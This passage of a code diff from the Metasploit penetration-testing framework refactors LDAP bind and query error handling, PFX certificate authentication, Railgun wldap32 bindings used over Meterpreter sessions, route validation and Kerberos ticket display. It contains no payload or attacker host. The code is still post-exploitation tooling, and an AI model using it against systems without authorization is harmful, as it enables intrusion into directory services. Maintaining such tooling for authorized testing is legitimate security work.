fail_with(Msf::Exploit::Remote::Failure::BadConfig, "Failed to load the PFX file (#{e})")
|
||||
end
|
||||
|
||||
connect_opts[:auth] = {
|
||||
method: :sasl,
|
||||
mechanism: 'EXTERNAL',
|
||||
initial_credential: '',
|
||||
challenge_response: true
|
||||
}
|
||||
connect_opts[:encryption] = {
|
||||
method: :start_tls,
|
||||
tls_options: {
|
||||
verify_mode: OpenSSL::SSL::VERIFY_NONE,
|
||||
cert: pkcs.certificate,
|
||||
key: pkcs.key
|
||||
}
|
||||
}
|
||||
when Msf::Exploit::Remote::AuthOption::KERBEROS
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'The Ldap::Rhostname option is required when using Kerberos authentication.') if datastore['Ldap::Rhostname'].blank?
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank?
|
||||
@@ -264,8 +294,8 @@ module Msf
|
||||
end
|
||||
|
||||
# NOTE: Find the first entry that starts with `DC=` as this will likely be the base DN.
|
||||
naming_contexts.select! {|context| context =~ /^(DC=[A-Za-z0-9-]+,?)+$/}
|
||||
naming_contexts.reject! {|context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/}
|
||||
naming_contexts.select! { |context| context =~ /^(DC=[A-Za-z0-9-]+,?)+$/ }
|
||||
naming_contexts.reject! { |context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/ }
|
||||
if naming_contexts.blank?
|
||||
print_error("#{peer} A base DN matching the expected format could not be found!")
|
||||
return
|
||||
@@ -287,26 +317,26 @@ module Msf
|
||||
# bind request failed.
|
||||
# @return [Nil] This function does not return any data.
|
||||
def validate_bind_success!(ldap)
|
||||
bind_result = ldap.as_json['result']['ldap_result']
|
||||
bind_result = ldap.get_operation_result.table
|
||||
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case bind_result['resultCode']
|
||||
case bind_result[:code]
|
||||
when 0
|
||||
vprint_good('Successfully bound to the LDAP server!')
|
||||
when 1
|
||||
fail_with(Msf::Module::Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage'].strip}")
|
||||
fail_with(Msf::Module::Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result[:error_message].strip}")
|
||||
when 7
|
||||
fail_with(Msf::Module::Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
|
||||
when 8
|
||||
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage'].strip}")
|
||||
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result[:error_message].strip}")
|
||||
when 14
|
||||
fail_with(Msf::Module::Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage'].strip}")
|
||||
fail_with(Msf::Module::Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result[:error_message].strip}")
|
||||
when 48
|
||||
fail_with(Msf::Module::Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
|
||||
when 49
|
||||
fail_with(Msf::Module::Failure::NoAccess, 'Invalid credentials provided!')
|
||||
else
|
||||
fail_with(Msf::Module::Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage'].strip}")
|
||||
fail_with(Msf::Module::Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result[:error_message].strip}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -314,9 +344,11 @@ module Msf
|
||||
# Fail with an appropriate error code if the query failed.
|
||||
#
|
||||
# @param query_result [Hash] A hash containing the results of the query
|
||||
# as a 'resultCode' with an integer representing the result code,
|
||||
# 'errorMessage' containing an optional error message, and
|
||||
# 'matchedDN' containing the matched DN.
|
||||
# as a 'extended_response' representing the extended response,
|
||||
# a 'code' with an integer representing the result code,
|
||||
# a 'error_message' containing an optional error message as a Net::BER::BerIdentifiedString,
|
||||
# a 'matched_dn' containing the matched DN,
|
||||
# and a 'message' containing the query result message.
|
||||
# @param filter [Net::LDAP::Filter] A Net::LDAP::Filter to use to
|
||||
# filter the results of the query.
|
||||
#
|
||||
@@ -326,19 +358,19 @@ module Msf
|
||||
# @return [Nil] This function does not return any data.
|
||||
def validate_query_result!(query_result, filter)
|
||||
if query_result.class != Hash
|
||||
raise ArgumentError.new('Parameter to "validate_query_result!" function was not a Hash!')
|
||||
raise ArgumentError, 'Parameter to "validate_query_result!" function was not a Hash!'
|
||||
end
|
||||
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case query_result['resultCode']
|
||||
case query_result[:code]
|
||||
when 0
|
||||
vprint_status("Successfully queried #{filter}.")
|
||||
when 1
|
||||
# This is unknown as whilst we could fail on lack of authorization, this is not guaranteed with this error code.
|
||||
# The user will need to inspect the error message to determine the root cause of the issue.
|
||||
fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result['errorMessage'].strip}")
|
||||
fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result[:error_message].strip}")
|
||||
when 2
|
||||
fail_with(Msf::Module::Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result['errorMessage'].strip}")
|
||||
fail_with(Msf::Module::Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result[:error_message].strip}")
|
||||
when 3
|
||||
fail_with(Msf::Module::Failure::TimeoutExpired, "The LDAP server returned a timeout response to the query #{filter}.")
|
||||
when 4
|
||||
@@ -368,10 +400,10 @@ module Msf
|
||||
when 65
|
||||
fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed due to an object class violation when using #{filter}.")
|
||||
else
|
||||
if query_result['errorMessage'].blank?
|
||||
if query_result[:error_message].blank?
|
||||
fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed but no error message was returned!")
|
||||
else
|
||||
fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed with error: #{query_result['errorMessage'].strip}")
|
||||
fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed with error: #{query_result[:error_message].strip}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -26,7 +26,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||
[
|
||||
OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
|
||||
OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
|
||||
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
|
||||
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to be used on target for pretty listing",nil])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
|
||||
@@ -180,12 +180,10 @@ module Msf
|
||||
def query_ldap(session_handle, base, scope, filter, fields)
|
||||
vprint_status('Searching LDAP directory')
|
||||
search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4)
|
||||
vprint_status("search: #{search}")
|
||||
|
||||
if search['return'] == LDAP_SIZELIMIT_EXCEEDED
|
||||
print_error('LDAP_SIZELIMIT_EXCEEDED, parsing what we retrieved, try increasing the MAX_SEARCH value [0:LDAP_NO_LIMIT]')
|
||||
elsif search['return'] != Error::SUCCESS
|
||||
print_error('No results')
|
||||
print_error("Search returned LDAP error #{search['return']} (#{ERROR_CODE_TO_CONSTANT.fetch(search['return'], 'Unknown')})")
|
||||
wldap32.ldap_msgfree(search['res'])
|
||||
return
|
||||
end
|
||||
@@ -198,10 +196,7 @@ module Msf
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Entries retrieved: #{search_count}")
|
||||
|
||||
pEntries = []
|
||||
entry_results = []
|
||||
vprint_status("Entries retrieved: #{search_count}")
|
||||
|
||||
if datastore['MAX_SEARCH'] == 0
|
||||
max_search = search_count
|
||||
@@ -209,138 +204,42 @@ module Msf
|
||||
max_search = [datastore['MAX_SEARCH'], search_count].min
|
||||
end
|
||||
|
||||
0.upto(max_search - 1) do |i|
|
||||
if (i == 0)
|
||||
pEntries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return']
|
||||
end
|
||||
|
||||
if (pEntries[i] == 0)
|
||||
print_error('Failed to get entry')
|
||||
wldap32.ldap_msgfree(search['res'])
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("Entry #{i}: 0x#{pEntries[i].to_s(16)}")
|
||||
|
||||
entry = get_entry(pEntries[i])
|
||||
|
||||
# Entries are a linked list...
|
||||
if client.arch == ARCH_X64
|
||||
pEntries[i + 1] = entry[4]
|
||||
else
|
||||
pEntries[i + 1] = entry[3]
|
||||
end
|
||||
|
||||
ber = get_ber(entry)
|
||||
entry = wldap32.ldap_first_entry(session_handle, search['res'])['return']
|
||||
|
||||
entry_results = []
|
||||
while entry != 0 && (entry_results.length < max_search)
|
||||
field_results = []
|
||||
fields.each do |field|
|
||||
vprint_status("Field: #{field}")
|
||||
|
||||
values = get_values_from_ber(ber, field)
|
||||
|
||||
values_result = ''
|
||||
values_result = values.join(',') if values
|
||||
vprint_status("Values #{values}")
|
||||
values = wldap32.ldap_get_values(session_handle, entry, field)
|
||||
if values['return'] != 0
|
||||
count_values = wldap32.ldap_count_values(values['return'])
|
||||
if count_values['return'] != 0
|
||||
if client.native_arch == ARCH_X64
|
||||
value_pointers = client.railgun.memread(values['return'], 8 * count_values['return']).unpack('Q*')
|
||||
else
|
||||
value_pointers = client.railgun.memread(values['return'], 4 * count_values['return']).unpack('V*')
|
||||
end
|
||||
values_result = value_pointers.map { |ptr| client.railgun.util.read_string(ptr) }.join(',')
|
||||
end
|
||||
wldap32.ldap_value_free(values['return'])
|
||||
end
|
||||
|
||||
field_results << { type: 'unknown', value: values_result }
|
||||
end
|
||||
|
||||
entry_results << field_results
|
||||
entry = wldap32.ldap_next_entry(session_handle, entry)['return']
|
||||
end
|
||||
|
||||
wldap32.ldap_msgfree(search['res'])
|
||||
|
||||
return {
|
||||
fields: fields,
|
||||
results: entry_results
|
||||
}
|
||||
end
|
||||
|
||||
# Gets the LDAP Entry
|
||||
#
|
||||
# @param pEntry [Integer] Pointer to the Entry
|
||||
# @return [Array] Entry data structure
|
||||
def get_entry(pEntry)
|
||||
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
|
||||
raise "Session doesn't support Railgun!"
|
||||
end
|
||||
|
||||
return client.railgun.memread(pEntry, 41).unpack('VVVVVVVVVvCCC')
|
||||
end
|
||||
|
||||
# Get BER Element data structure from LDAPMessage
|
||||
#
|
||||
# @param msg [String] The LDAP Message from the server
|
||||
# @return [String] The BER data structure
|
||||
def get_ber(msg)
|
||||
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
|
||||
raise "Session doesn't support Railgun!"
|
||||
end
|
||||
|
||||
ber = client.railgun.memread(msg[2], 60).unpack('V*')
|
||||
|
||||
# BER Pointer is different between x86 and x64
|
||||
if client.arch == ARCH_X64
|
||||
ber_data = client.railgun.memread(ber[4], ber[0])
|
||||
else
|
||||
ber_data = client.railgun.memread(ber[3], ber[0])
|
||||
end
|
||||
|
||||
return ber_data
|
||||
end
|
||||
|
||||
# Search through the BER data structure for our Attribute.
|
||||
# This doesn't attempt to parse the BER structure correctly
|
||||
# instead it finds the first occurance of our field name
|
||||
# tries to check the length of that value.
|
||||
#
|
||||
# @param ber_data [String] BER data structure
|
||||
# @param field [String] Attribute name
|
||||
# @return [Array] Values for the given +field+
|
||||
def get_values_from_ber(ber_data, field)
|
||||
field_offset = ber_data.index(field)
|
||||
|
||||
unless field_offset
|
||||
vprint_status("Field not found in BER: #{field}")
|
||||
return nil
|
||||
end
|
||||
|
||||
# Value starts after our field string
|
||||
values_offset = field_offset + field.length
|
||||
values_start_offset = values_offset + 8
|
||||
values_len_offset = values_offset + 5
|
||||
curr_len_offset = values_offset + 7
|
||||
|
||||
values_length = ber_data[values_len_offset].unpack('C')[0]
|
||||
values_end_offset = values_start_offset + values_length
|
||||
|
||||
curr_length = ber_data[curr_len_offset].unpack('C')[0]
|
||||
curr_start_offset = values_start_offset
|
||||
|
||||
if (curr_length >= 127)
|
||||
curr_length = ber_data[curr_len_offset + 1, 4].unpack('N')[0]
|
||||
curr_start_offset += 4
|
||||
end
|
||||
|
||||
curr_end_offset = curr_start_offset + curr_length
|
||||
|
||||
values = []
|
||||
while (curr_end_offset < values_end_offset)
|
||||
values << ber_data[curr_start_offset..curr_end_offset]
|
||||
|
||||
break unless ber_data[curr_end_offset] == "\x04"
|
||||
|
||||
curr_len_offset = curr_end_offset + 1
|
||||
curr_length = ber_data[curr_len_offset].unpack('C')[0]
|
||||
curr_start_offset = curr_end_offset + 2
|
||||
curr_end_offset = curr_end_offset + curr_length + 2
|
||||
end
|
||||
|
||||
# Strip trailing 0 or \x04 which is used to delimit values
|
||||
values.map! { |x| x[0..x.length - 2] }
|
||||
|
||||
return values
|
||||
end
|
||||
|
||||
# Shortcut to the WLDAP32 Railgun Object
|
||||
# @return [Object] wldap32
|
||||
def wldap32
|
||||
@@ -365,10 +264,10 @@ module Msf
|
||||
raise "Unable to initialize ldap server: #{init_result['ErrorMessage']}"
|
||||
end
|
||||
|
||||
vprint_status("LDAP Handle: #{session_handle}")
|
||||
vprint_status("LDAP Handle: 0x#{session_handle.to_s(16)}")
|
||||
|
||||
vprint_status('Setting Sizelimit Option')
|
||||
wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, size_limit)
|
||||
vprint_status('Setting the size limit option')
|
||||
wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, [size_limit].pack('V'))
|
||||
|
||||
vprint_status('Binding to LDAP server')
|
||||
bind_result = wldap32.ldap_bind_sA(session_handle, nil, nil, LDAP_AUTH_NEGOTIATE)
|
||||
|
||||
@@ -737,9 +737,7 @@ private
|
||||
end
|
||||
|
||||
def _run_exploit(mod, opts)
|
||||
if mod.datastore['PAYLOAD']
|
||||
opts['PAYLOAD'] = mod.datastore['PAYLOAD']
|
||||
else
|
||||
if opts['PAYLOAD'].blank?
|
||||
opts['PAYLOAD'] = Msf::Payload.choose_payload(mod)
|
||||
end
|
||||
|
||||
|
||||
@@ -12,111 +12,111 @@ class Def_windows_wldap32
|
||||
def self.create_library(constant_manager, library_path = 'wldap32')
|
||||
dll = Library.new(library_path, constant_manager)
|
||||
|
||||
dll.add_function('ldap_sslinitA', 'DWORD',[
|
||||
dll.add_function('ldap_sslinitA', 'LPVOID',[
|
||||
['PCHAR', 'HostName', 'in'],
|
||||
['DWORD', 'PortNumber', 'in'],
|
||||
['ULONG', 'PortNumber', 'in'],
|
||||
['DWORD', 'secure', 'in']
|
||||
], 'ldap_sslinitA', "cdecl")
|
||||
|
||||
dll.add_function('ldap_bind_sA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
dll.add_function('ldap_bind_sA', 'ULONG',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['PCHAR', 'dn', 'in'],
|
||||
['PCHAR', 'cred', 'in'],
|
||||
['DWORD', 'method', 'in']
|
||||
['ULONG', 'method', 'in']
|
||||
], 'ldap_bind_sA', "cdecl")
|
||||
|
||||
dll.add_function('ldap_search_sA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
dll.add_function('ldap_search_sA', 'ULONG',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['PCHAR', 'base', 'in'],
|
||||
['DWORD', 'scope', 'in'],
|
||||
['ULONG', 'scope', 'in'],
|
||||
['PCHAR', 'filter', 'in'],
|
||||
['PCHAR', 'attrs[]', 'in'],
|
||||
['DWORD', 'attrsonly', 'in'],
|
||||
['PDWORD', 'res', 'out']
|
||||
['ULONG', 'attrsonly', 'in'],
|
||||
['PLPVOID', 'res', 'out']
|
||||
], 'ldap_search_sA', "cdecl")
|
||||
|
||||
dll.add_function('ldap_set_option', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
dll.add_function('ldap_set_option', 'ULONG',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['DWORD', 'option', 'in'],
|
||||
['PDWORD', 'invalue', 'in']
|
||||
['PBLOB', 'invalue', 'in']
|
||||
], 'ldap_set_option', "cdecl")
|
||||
|
||||
dll.add_function('ldap_search_ext_sA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
dll.add_function('ldap_search_ext_sA', 'ULONG',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['PCHAR', 'base', 'in'],
|
||||
['DWORD', 'scope', 'in'],
|
||||
['ULONG', 'scope', 'in'],
|
||||
['PCHAR', 'filter', 'in'],
|
||||
['PCHAR', 'attrs[]', 'in'],
|
||||
['DWORD', 'attrsonly', 'in'],
|
||||
['DWORD', 'pServerControls', 'in'],
|
||||
['DWORD', 'pClientControls', 'in'],
|
||||
['DWORD', 'pTimeout', 'in'],
|
||||
['DWORD', 'SizeLimit', 'in'],
|
||||
['PDWORD', 'res', 'out']
|
||||
['ULONG', 'attrsonly', 'in'],
|
||||
['LPVOID', 'pServerControls', 'in'],
|
||||
['LPVOID', 'pClientControls', 'in'],
|
||||
['PBLOB', 'pTimeout', 'in'],
|
||||
['ULONG', 'SizeLimit', 'in'],
|
||||
['PLPVOID', 'res', 'out']
|
||||
], 'ldap_search_ext_sA', "cdecl")
|
||||
|
||||
dll.add_function('ldap_count_entries', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'res', 'in']
|
||||
dll.add_function('ldap_count_entries', 'ULONG',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['LPVOID', 'res', 'in']
|
||||
], "ldap_count_entries", "cdecl")
|
||||
|
||||
dll.add_function('ldap_first_entry', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'res', 'in']
|
||||
dll.add_function('ldap_first_entry', 'LPVOID',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['LPVOID', 'res', 'in']
|
||||
], 'ldap_first_entry', "cdecl")
|
||||
|
||||
dll.add_function('ldap_next_entry', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in']
|
||||
dll.add_function('ldap_next_entry', 'LPVOID',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['LPVOID', 'entry', 'in']
|
||||
], 'ldap_next_entry', "cdecl")
|
||||
|
||||
dll.add_function('ldap_first_attributeA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in'],
|
||||
['DWORD', 'ptr', 'in']
|
||||
dll.add_function('ldap_first_attributeA', 'PCHAR',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['LPVOID', 'entry', 'in'],
|
||||
['PLPVOID', 'ptr', 'out']
|
||||
], 'ldap_first_attributeA', "cdecl")
|
||||
|
||||
dll.add_function('ldap_next_attributeA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in'],
|
||||
['DWORD', 'ptr', 'inout']
|
||||
dll.add_function('ldap_next_attributeA', 'PCHAR',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['LPVOID', 'entry', 'in'],
|
||||
['LPVOID', 'ptr', 'inout']
|
||||
], 'ldap_next_attributeA', "cdecl")
|
||||
|
||||
dll.add_function('ldap_count_values', 'DWORD',[
|
||||
['DWORD', 'vals', 'in'],
|
||||
dll.add_function('ldap_count_values', 'ULONG',[
|
||||
['LPVOID', 'vals', 'in'],
|
||||
], 'ldap_count_values', "cdecl")
|
||||
|
||||
dll.add_function('ldap_get_values', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in'],
|
||||
dll.add_function('ldap_get_values', 'LPVOID',[
|
||||
['LPVOID', 'ld', 'in'],
|
||||
['LPVOID', 'entry', 'in'],
|
||||
['PCHAR', 'attr', 'in']
|
||||
], 'ldap_get_values', "cdecl")
|
||||
|
||||
dll.add_function('ldap_value_free', 'DWORD',[
|
||||
['DWORD', 'vals', 'in'],
|
||||
dll.add_function('ldap_value_free', 'ULONG',[
|
||||
['LPVOID', 'vals', 'in'],
|
||||
], 'ldap_value_free', "cdecl")
|
||||
|
||||
dll.add_function('ldap_memfree', 'VOID',[
|
||||
['DWORD', 'block', 'in'],
|
||||
['PCHAR', 'block', 'in'],
|
||||
], 'ldap_memfree', "cdecl")
|
||||
|
||||
dll.add_function('ber_free', 'VOID',[
|
||||
['DWORD', 'pBerElement', 'in'],
|
||||
['LPVOID', 'pBerElement', 'in'],
|
||||
['DWORD', 'fbuf', 'in'],
|
||||
], 'ber_free', "cdecl")
|
||||
|
||||
dll.add_function('LdapGetLastError', 'DWORD',[], 'LdapGetLastError', "cdecl")
|
||||
dll.add_function('LdapGetLastError', 'ULONG', [], 'LdapGetLastError', "cdecl")
|
||||
|
||||
dll.add_function('ldap_err2string', 'DWORD',[
|
||||
['DWORD', 'err', 'in']
|
||||
dll.add_function('ldap_err2string', 'PCHAR',[
|
||||
['ULONG', 'err', 'in']
|
||||
], 'ldap_err2string', "cdecl")
|
||||
|
||||
dll.add_function('ldap_msgfree', 'DWORD', [
|
||||
['DWORD', 'res', 'in']
|
||||
dll.add_function('ldap_msgfree', 'ULONG', [
|
||||
['LPVOID', 'res', 'in']
|
||||
], 'ldap_msgfree', "cdecl")
|
||||
|
||||
dll.add_function('ldap_unbind', 'DWORD', [
|
||||
['DWORD', 'ld', 'in']
|
||||
dll.add_function('ldap_unbind', 'ULONG', [
|
||||
['LPVOID', 'ld', 'in']
|
||||
], 'ldap_unbind', "cdecl")
|
||||
return dll
|
||||
end
|
||||
|
||||
@@ -51,6 +51,7 @@ class Library
|
||||
'SIZE_T' => 'ULONG_PTR',
|
||||
'PSIZE_T' => 'PULONG_PTR',
|
||||
'PLPVOID' => 'PULONG_PTR',
|
||||
'ULONG' => 'DWORD',
|
||||
'PULONG' => 'PDWORD'
|
||||
}.freeze
|
||||
|
||||
@@ -272,8 +273,8 @@ class Library
|
||||
[packet, layouts]
|
||||
end
|
||||
|
||||
def build_response(packet, function, layouts, arch)
|
||||
case arch
|
||||
def build_response(packet, function, layouts, client)
|
||||
case client.native_arch
|
||||
when ARCH_X64
|
||||
native = 'Q<'
|
||||
when ARCH_X86
|
||||
@@ -300,7 +301,7 @@ class Library
|
||||
# process return value
|
||||
case function.return_type
|
||||
when 'LPVOID', 'ULONG_PTR'
|
||||
if arch == ARCH_X64
|
||||
if client.native_arch == ARCH_X64
|
||||
return_hash['return'] = rec_return_value
|
||||
else
|
||||
return_hash['return'] = rec_return_value & 0xffffffff
|
||||
@@ -315,6 +316,20 @@ class Library
|
||||
return_hash['return'] = (rec_return_value != 0)
|
||||
when 'VOID'
|
||||
return_hash['return'] = nil
|
||||
when 'PCHAR'
|
||||
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.read_string(rec_return_value)
|
||||
return_hash['&return'] = rec_return_value
|
||||
when 'PWCHAR'
|
||||
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.read_wstring(rec_return_value)
|
||||
return_hash['&return'] = rec_return_value
|
||||
when 'PULONG_PTR'
|
||||
if client.native_arch == ARCH_X64
|
||||
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.memread(rec_return_value, 8)&.unpack1('Q<')
|
||||
return_hash['&return'] = rec_return_value
|
||||
else
|
||||
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.memread(rec_return_value, 4)&.unpack1('V')
|
||||
return_hash['&return'] = rec_return_value
|
||||
end
|
||||
else
|
||||
raise "unexpected return type: #{function.return_type}"
|
||||
end
|
||||
@@ -374,7 +389,7 @@ class Library
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
build_response(response, function, layouts, client.native_arch)
|
||||
build_response(response, function, layouts, client)
|
||||
end
|
||||
|
||||
# perform type conversions as necessary to reduce the datatypes to their primitives
|
||||
|
||||
@@ -43,9 +43,9 @@ class LibraryFunction
|
||||
'LPVOID' => ['in', 'return'], # sf: for specifying a memory address (e.g. VirtualAlloc/HeapAlloc/...) where we don't want to back it up with actual mem ala PBLOB
|
||||
'ULONG_PTR' => ['in', 'return'],
|
||||
'PDWORD' => ['in', 'out', 'inout'], # todo: support for functions that return pointers to strings
|
||||
'PULONG_PTR' => ['in', 'out', 'inout'],
|
||||
'PWCHAR' => ['in', 'out', 'inout'],
|
||||
'PCHAR' => ['in', 'out', 'inout'],
|
||||
'PULONG_PTR' => ['in', 'out', 'inout', 'return'],
|
||||
'PWCHAR' => ['in', 'out', 'inout', 'return'],
|
||||
'PCHAR' => ['in', 'out', 'inout', 'return'],
|
||||
'PBLOB' => ['in', 'out', 'inout'],
|
||||
}.freeze
|
||||
|
||||
|
||||
@@ -90,7 +90,7 @@ class MultiCaller
|
||||
lib_name, function, args = f
|
||||
library = @parent.get_library(lib_name)
|
||||
function = library.functions[function] unless function.instance_of? LibraryFunction
|
||||
function_results << library.build_response(call_results.shift, function, call_layouts.shift, @client.native_arch)
|
||||
function_results << library.build_response(call_results.shift, function, call_layouts.shift, @client)
|
||||
end
|
||||
|
||||
function_results
|
||||
|
||||
@@ -133,7 +133,7 @@ class Railgun
|
||||
#
|
||||
def util
|
||||
if @util.nil?
|
||||
@util = Util.new(self, client.arch)
|
||||
@util = Util.new(self, client.native_arch)
|
||||
end
|
||||
|
||||
return @util
|
||||
|
||||
@@ -310,13 +310,18 @@ class Console::CommandDispatcher::Stdapi::Net
|
||||
|
||||
when 'add'
|
||||
# Satisfy check to see that formatting is correct
|
||||
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
||||
print_error "Invalid IP Address"
|
||||
unless Rex::Socket.is_ip_addr?(args[0])
|
||||
print_error "Invalid subnet: #{args[0]}"
|
||||
return false
|
||||
end
|
||||
|
||||
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
||||
print_error 'Invalid Subnet mask'
|
||||
unless Rex::Socket.is_ip_addr?(args[1])
|
||||
print_error "Invalid subnet mask: #{args[1]}"
|
||||
return false
|
||||
end
|
||||
|
||||
unless Rex::Socket.is_ip_addr?(args[2])
|
||||
print_error "Invalid gateway address: #{args[2]}"
|
||||
return false
|
||||
end
|
||||
|
||||
@@ -325,13 +330,18 @@ class Console::CommandDispatcher::Stdapi::Net
|
||||
client.net.config.add_route(*args)
|
||||
when 'delete'
|
||||
# Satisfy check to see that formatting is correct
|
||||
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
||||
print_error 'Invalid IP Address'
|
||||
unless Rex::Socket.is_ip_addr?(args[0])
|
||||
print_error "Invalid subnet: #{args[0]}"
|
||||
return false
|
||||
end
|
||||
|
||||
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
||||
print_error 'Invalid Subnet mask'
|
||||
unless Rex::Socket.is_ip_addr?(args[1])
|
||||
print_error "Invalid subnet mask: #{args[1]}"
|
||||
return false
|
||||
end
|
||||
|
||||
unless Rex::Socket.is_ip_addr?(args[2])
|
||||
print_error "Invalid gateway address: #{args[2]}"
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
@@ -99,7 +99,7 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
output << 'Cipher:'.indent(4)
|
||||
output << Base64.strict_encode64(ticket.enc_part.cipher).indent(6)
|
||||
else
|
||||
output << "Decrypted (with key: #{key.bytes.map { |x| "#{x.to_s(16).rjust(2, '0')}" }.join}):".indent(4)
|
||||
output << "Decrypted (with key: #{key.bytes.map { |x| x.to_s(16).rjust(2, '0').to_s }.join}):".indent(4)
|
||||
output << present_encrypted_ticket_part(ticket, key).indent(6)
|
||||
end
|
||||
|
||||
@@ -164,20 +164,49 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
output.join("\n")
|
||||
end
|
||||
|
||||
# @param [String] header
|
||||
# @param [String] signature
|
||||
# @return [String] A human readable representation of a Checksum
|
||||
def present_checksum(header:, signature:)
|
||||
sig = signature.bytes.map { |x| x.to_s(16).rjust(2, '0').to_s }.join
|
||||
"#{header}\n" +
|
||||
"Signature: #{sig}".indent(2)
|
||||
end
|
||||
|
||||
# @param [Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum] server_checksum
|
||||
# @return [String] A human readable representation of a Server Checksum
|
||||
def present_server_checksum(server_checksum)
|
||||
sig = server_checksum.signature.bytes.map { |x| "#{x.to_s(16).rjust(2, '0')}" }.join
|
||||
"Pac Server Checksum:\n" +
|
||||
"Signature: #{sig}".indent(2)
|
||||
signature = server_checksum.signature
|
||||
header = 'Pac Server Checksum:'
|
||||
|
||||
present_checksum(header: header, signature: signature)
|
||||
end
|
||||
|
||||
# @param [Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum] priv_server_checksum
|
||||
# @return [String] A human readable representation of a Privilege Server Checksum
|
||||
def present_priv_server_checksum(priv_server_checksum)
|
||||
sig = priv_server_checksum.signature.bytes.map { |x| "#{x.to_s(16).rjust(2, '0')}" }.join
|
||||
"Pac Privilege Server Checksum:\n" +
|
||||
"Signature: #{sig}".indent(2)
|
||||
signature = priv_server_checksum.signature
|
||||
header = 'Pac Privilege Server Checksum:'
|
||||
|
||||
present_checksum(header: header, signature: signature)
|
||||
end
|
||||
|
||||
# @param [Rex::Proto::Kerberos::Pac::Krb5TicketChecksum] ticket_checksum
|
||||
# @return [String] A human readable representation of a Ticket Checksum
|
||||
def present_ticket_checksum(ticket_checksum)
|
||||
